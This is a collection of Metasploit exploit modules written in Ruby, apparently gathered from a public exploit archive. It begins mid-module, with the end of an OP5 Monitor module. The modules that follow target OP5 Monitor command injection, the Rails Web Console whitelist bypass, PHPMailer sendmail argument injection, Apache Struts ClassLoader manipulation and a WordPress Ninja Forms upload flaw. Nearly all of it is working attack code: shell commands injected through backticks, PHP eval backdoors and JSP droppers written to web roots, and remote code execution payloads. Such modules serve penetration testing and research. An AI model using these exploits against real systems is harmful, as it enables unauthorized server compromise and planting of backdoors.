      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Jan 05 2012',
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(443),
          OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]),
        ], self.class)
  end

  def check
    vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
    vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    # Try running/timing 'ping localhost' to determine is system is vulnerable
    start = Time.now

    data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install';
    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI']),
      'method'  => 'POST',
      'proto'   => 'HTTPS',
      'data'    => data,
      'headers' =>
      {
        'Connection'     => 'close',
      }
    }, 25)
    elapsed = Time.now - start
    if elapsed >= 5
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install';

    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI']),
      'method'  => 'POST',
      'proto'   => 'HTTPS',
      'data'    => data,
      'headers' =>
      {
        'Connection'     => 'close',
      }
    }, 25)

    if(not res)
      if session_created?
        print_status("Session created, enjoy!")
      else
        print_error("No response from the server")
      end
      return
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'OP5 welcome Remote Command Execution',
      'Description' => %q{
        This module exploits an arbitrary root command execution vulnerability in
        OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
        5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
      },
      'Author'     => [ 'Peter Osterberg <j[at]vel.nu>' ],
      'License'    => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2012-0262'],
          ['OSVDB', '78065'],
          ['URL', 'http://secunia.com/advisories/47417/'],
        ],
      'Privileged' => true,
      'Payload'    =>
        {
          'DisableNops' => true,
          'Space'       => 1024,
          'BadChars'    => '`\\|',
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'perl ruby python',
            }
        },
      'Platform'       => %w{ linux unix },
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Jan 05 2012',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
      ], self.class)
  end

  def check
    vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
    vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    # Try running/timing 'ping localhost' to determine is system is vulnerable
    start = Time.now

    data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI']),
      'method'  => 'POST',
      'proto'   => 'HTTPS',
      'data'    => data,
      'headers' =>
      {
        'Connection'     => 'close',
      }
    }, 25)
    elapsed = Time.now - start
    if elapsed >= 5
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

    data = 'do=do=Login&password=`' + payload.encoded + '`';

    res = send_request_cgi({
      'uri'     => normalize_uri(datastore['URI']),
      'method'  => 'POST',
      'proto'   => 'HTTPS',
      'data'    => data,
      'headers' =>
      {
        'Connection'     => 'close',
      }
    }, 10)

    if(not res)
      if session_created?
        print_status("Session created, enjoy!")
      else
        print_error("No response from the server")
      end
      return
    end
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ruby on Rails Web Console (v2) Whitelist Bypass Code Execution',
      'Description'    => %q{
          This module exploits an IP whitelist bypass vulnerability in the developer
        web console included with Ruby on Rails 4.0.x and 4.1.x. This module will also
        achieve code execution on Rails 4.2.x if the attack is launched from a
        whitelisted IP range.
      },
      'Author'         => [
        'joernchen <joernchen[at]phenoelit.de>', # Discovery & disclosure
        'Ben Murphy <benmmurphy@gmail.com>',     # Discovery & disclosure
        'hdm'                                    # Metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-3224' ],
          [ 'URL', 'http://openwall.com/lists/oss-security/2015/06/16/18' ],
          [ 'URL', 'https://groups.google.com/forum/message/raw?msg=rubyonrails-security/lzmz9_ijUFw/HBMPi4zp5NAJ' ],
          [ 'URL', 'https://hackerone.com/reports/44513' ]
        ],
      'Platform'       => 'ruby',
      'Arch'           => ARCH_RUBY,
      'Privileged'     => false,
      'Targets'        => [ ['Automatic', {} ] ],
      'DefaultOptions' => { 'PrependFork' => true },
      'DisclosureDate' => 'Jun 16 2015',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(3000),
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', '/missing404' ])
      ], self.class)
  end

  #
  # Identify the web console path and session ID, then inject code with it
  #
  def exploit
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path),
      'method'  => 'GET',
      'headers' => {
        'X-Forwarded-For' => '0000::1'
      }
    }, 25)

    unless res
      print_error("Error: No response requesting #{datastore['TARGETURI']}")
      return
    end

    web_console_path = nil

    # Support vulnerable Web Console versions
    if res.body.to_s =~ /data-remote-path='([^']+)'/
      web_console_path = "/" + $1
    end

    # Support newer Web Console versions
    if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/
      web_console_mount = $1
      unless res.body.to_s =~ /data-session-id='([^']+)'/
        print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
        return
      end
      web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1)
    end

    unless web_console_path
      if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
        print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope')
      else
        print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}")
      end
      return
    end

    print_status("Sending payload to #{web_console_path}")
    res = send_request_cgi({
      'uri'       => web_console_path,
      'method'    => 'PUT',
      'headers'   => {
        'X-Forwarded-For'  => '0000::1',
        'Accept'           => 'application/vnd.web-console.v2',
        'X-Requested-With' => 'XMLHttpRequest'
      },
      'vars_post' => {
        'input' => payload.encoded
      }
    }, 25)
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PHPMailer Sendmail Argument Injection',
      'Description'    => %q{
        PHPMailer versions up to and including 5.2.19 are affected by a
        vulnerability which can be leveraged by an attacker to write a file with
        partially controlled contents to an arbitrary location through injection
        of arguments that are passed to the sendmail binary. This module
        writes a payload to the web root of the webserver before then executing
        it with an HTTP request. The user running PHPMailer must have write
        access to the specified WEB_ROOT directory and successful exploitation
        can take a few minutes.
      },
      'Author'         => [
        'Dawid Golunski',   # vulnerability discovery and original PoC
        'Spencer McIntyre'  # metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2016-10033'],
        ['CVE', '2016-10045'],
        ['EDB', '40968'],
        ['EDB', '40969'],
        ['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'],
        ['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html']
      ],
      'DisclosureDate' => 'Dec 26 2016',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Payload'        => {'DisableNops' => true},
      'Targets'        => [
        ['PHPMailer <5.2.18', {}],
        ['PHPMailer 5.2.18 - 5.2.19', {}]
      ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI',  [true, 'Path to the application root', '/']),
        OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']),
        OptString.new('WEB_ROOT',   [true, 'Path to the web root', '/var/www'])
      ], self.class)
    register_advanced_options(
      [
        OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300])
      ], self.class)
  end

  def trigger(trigger_uri)
    print_status("Sleeping before requesting the payload from: #{trigger_uri}")

    page_found = false
    sleep_time = 10
    wait_time = datastore['WAIT_TIMEOUT']
    print_status("Waiting for up to #{wait_time} seconds to trigger the payload")
    while wait_time > 0
      sleep(sleep_time)
      wait_time -= sleep_time
      res = send_request_cgi(
        'method'   => 'GET',
        'uri'      => trigger_uri
      )

      if res.nil?
        if page_found or session_created?
          print_good('Successfully triggered the payload')
          break
        end

        next
      end

      next unless res.code == 200

      if res.body.length == 0 and not page_found
        print_good('Successfully found the payload')
        page_found = true
      end
    end
  end

  def exploit
    payload_file_name = "#{rand_text_alphanumeric(8)}.php"
    payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"

    if target.name == 'PHPMailer <5.2.18'
      email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
    elsif target.name == 'PHPMailer 5.2.18 - 5.2.19'
      email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
    else
      fail_with(Failure::NoTarget, 'The specified version is not supported')
    end

    data = Rex::MIME::Message.new
    data.add_part('submit', nil, nil, 'form-data; name="action"')
    data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')
    data.add_part(email, nil, nil, 'form-data; name="email"')
    data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')

    print_status("Writing the backdoor to #{payload_file_path}")
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri),
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s
    )

    register_files_for_cleanup(payload_file_path)

    trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name))
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # It's going to manipulate the Class Loader

  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts versions
        1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
        the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
        to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
        mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
        allow remote attackers to execute arbitrary Java code via crafted parameters.
      },
      'Author'         =>
        [
          'Mark Thomas', # Vulnerability Discovery
          'Przemyslaw Celej', # Vulnerability Discovery
          'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
          'Matthew Hall <hallm[at]sec-1.com>' # SMB target
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2014-0094'],
          ['CVE', '2014-0112'],
          ['CVE', '2014-0114'],
          ['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
          ['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
          ['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
          ['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
        ],
      'Platform'       => %w{ linux win },
      'Payload'        =>
        {
          'Space' => 5000,
          'DisableNops' => true
        },
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          ['Java',
           {
               'Arch'     => ARCH_JAVA,
               'Platform' => %w{ linux win }
           },
          ],
          ['Linux',
           {
               'Arch'     => ARCH_X86,
               'Platform' => 'linux'
           }
          ],
          ['Windows',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          ['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'win'
            }
          ]
        ],
      'DisclosureDate' => 'Mar 06 2014',
      'DefaultTarget'  => 1))

    register_options(
      [
        Opt::RPORT(8080),
        OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
        OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
      ], self.class)

    deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
  end

  def jsp_dropper(file, exe)
    dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
    eos

    dropper
  end

  def dump_line(uri, cmd = '')
    res = send_request_cgi({
      'uri'     => uri,
      'encode_params' => false,
      'vars_get' => {
        cmd => ''
      },
      'version' => '1.1',
      'method'  => 'GET'
    })

    res
  end

  def modify_class_loader(opts)

    cl_prefix =
      case datastore['STRUTS_VERSION']
      when '1.x' then "class.classLoader"
      when '2.x' then "class['classLoader']"
      end

    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => {
        "#{cl_prefix}.resources.context.parent.pipeline.first.directory"      => opts[:directory],
        "#{cl_prefix}.resources.context.parent.pipeline.first.prefix"         => opts[:prefix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.suffix"         => opts[:suffix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
      }
    })

    res
  end

  def check_log_file(hint)
    uri = normalize_uri("/", @jsp_file)

    print_status("Waiting for the server to flush the logfile")

    10.times do |x|
      select(nil, nil, nil, 2)

      # Now make a request to trigger payload
      vprint_status("Countdown #{10-x}...")
      res = dump_line(uri)

      # Failure. The request timed out or the server went away.
      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?

      # Success if the server has flushed all the sent commands to the jsp file
      if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
        print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
        return true
      end
    end

    false
  end

  # Fix the JSP payload to make it valid once is dropped
  # to the log file
  def fix(jsp)
    output = ""
    jsp.each_line do |l|
      if l =~ /<%.*%>/
        output << l
      elsif l =~ /<%/
        next
      elsif l=~ /%>/
        next
      elsif l.chomp.empty?
        next
      else
        output << "<% #{l.chomp} %>"
      end
    end
    output
  end

  def create_jsp
    if target['Arch'] == ARCH_JAVA
      jsp = fix(payload.encoded)
    else
      if target['Platform'] == 'win'
        payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
      else
        payload_exe = generate_payload_exe
      end
      payload_file = rand_text_alphanumeric(4 + rand(4))
      jsp = jsp_dropper(payload_file, payload_exe)

      register_files_for_cleanup(payload_file)
    end

    jsp
  end

  def exploit
    if target.name =~ /Remote SMB Resource/
      begin
        Timeout.timeout(datastore['SMB_DELAY']) { super }
      rescue Timeout::Error
        # do nothing... just finish exploit and stop smb server...
      end
    else
      class_loader_exploit
    end
  end

  # Used with SMB targets
  def primer
    self.file_name << '.jsp'
    self.file_contents = payload.encoded
    print_status("JSP payload available on #{unc}...")

    print_status("Modifying Class Loader...")
    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => {
        'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
      }
    })

    jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
    jsp_shell << "/#{self.file_name}"

    print_status("Accessing JSP shell at #{jsp_shell}...")
    send_request_cgi({
      'uri'     => normalize_uri(jsp_shell),
      'version' => '1.1',
      'method'  => 'GET',
    })
  end

  def class_loader_exploit
    prefix_jsp = rand_text_alphanumeric(3+rand(3))
    date_format = rand_text_numeric(1+rand(4))
    @jsp_file = prefix_jsp + date_format + ".jsp"

    # Modify the Class Loader

    print_status("Modifying Class Loader...")
    properties = {
      :directory      => 'webapps/ROOT',
      :prefix         => prefix_jsp,
      :suffix         => '.jsp',
      :file_date_format => date_format
    }
    res = modify_class_loader(properties)
    unless res
      fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
    end

    # Check if the log file exists and has been flushed

    unless check_log_file(normalize_uri(target_uri.to_s))
      fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
    end

    register_files_for_cleanup(@jsp_file)

    # Prepare the JSP
    print_status("Generating JSP...")
    jsp = create_jsp

    # Dump the JSP to the log file
    print_status("Dumping JSP into the logfile...")
    random_request = rand_text_alphanumeric(3 + rand(3))

    uri = normalize_uri('/', random_request)

    jsp.each_line do |l|
      unless dump_line(uri, l.chomp)
        fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
      end
    end

    # Check log file... enjoy shell!
    check_log_file(random_request)

    # No matter what happened, try to 'restore' the Class Loader
    properties = {
        :directory      => '',
        :prefix         => '',
        :suffix         => '',
        :file_date_format => ''
    }
    modify_class_loader(properties)
  end

end
            
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Ninja Forms Unauthenticated File Upload',
      'Description'     => %(
        Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
        an unauthenticated file upload vulnerability, allowing guests
        to upload arbitrary PHP code that can be executed in the context
        of the web server.
      ),
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'James Golovich',                 # Discovery and disclosure
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2016-1209'],
          ['WPVDB', '8485'],
          ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
        ],
      'DisclosureDate'  => 'May 04 2016',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['ninja-forms', {}]],
      'DefaultTarget'   => 0
    ))

    opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
    register_options(opts, self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def check
    check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
  end

  def enable_v3_functionality
    print_status 'Enabling vulnerable V3 functionality...'
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'vars_get'  => { 'nf-switcher' => 'upgrade' }
    )

    unless res && res.code == 200
      if res
        fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
      else
        fail_with(Failure::Unreachable, 'Connection timed out.')
      end
    end

    vprint_good 'Enabled V3 functionality'
  end

  def disable_v3_functionality
    print_status 'Disabling vulnerable V3 functionality...'
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'vars_get'  => { 'nf-switcher' => 'rollback' }
    )

    if res && res.code == 200
      vprint_good 'Disabled V3 functionality'
    elsif !res
      print_error('Connection timed out while disabling V3 functionality')
    else
      print_error 'Failed to disable the vulnerable V3 functionality'
    end
  end

  def generate_mime_message(payload_name, nonce)
    data = Rex::MIME::Message.new
    data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
    data.add_part(nonce, nil, nil, 'form-data; name="security"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
    data
  end

  def fetch_ninja_form_nonce
    uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => uri
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
    end

    form_wpnonce = res.get_hidden_inputs.first
    form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce

    nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce

    unless nonce
      fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
    end

    nonce
  end

  def upload_payload(data)
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => wordpress_url_admin_ajax,
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    )

    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    vprint_error("Server responded with status code #{res.code}") if res.code != 200
  end

  def execute_payload(payload_name, payload_url)
    register_files_for_cleanup("nftmp-#{payload_name.downcase}")
    res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)

    if !res.nil? && res.code == 404
      print_error("Failed to upload the payload")
    else
      print_good("Executed payload")
    end
  end

  def exploit
    # Vulnerable code is only available in the version 3 preview mode, which can be
    # enabled by unauthenticated users due to lack of user level validation.
    enable_v3_functionality

    # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
    # page that contains a form generated by Ninja Forms.
    nonce = fetch_ninja_form_nonce

    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
    data = generate_mime_message(payload_name, nonce)

    print_status("Uploading payload to #{payload_url}")
    upload_payload(data)

    print_status("Executing the payload...")
    execute_payload(payload_name, payload_url)

    # Once the payload has been executed, we can disable the preview functionality again.
    disable_v3_functionality
  end
end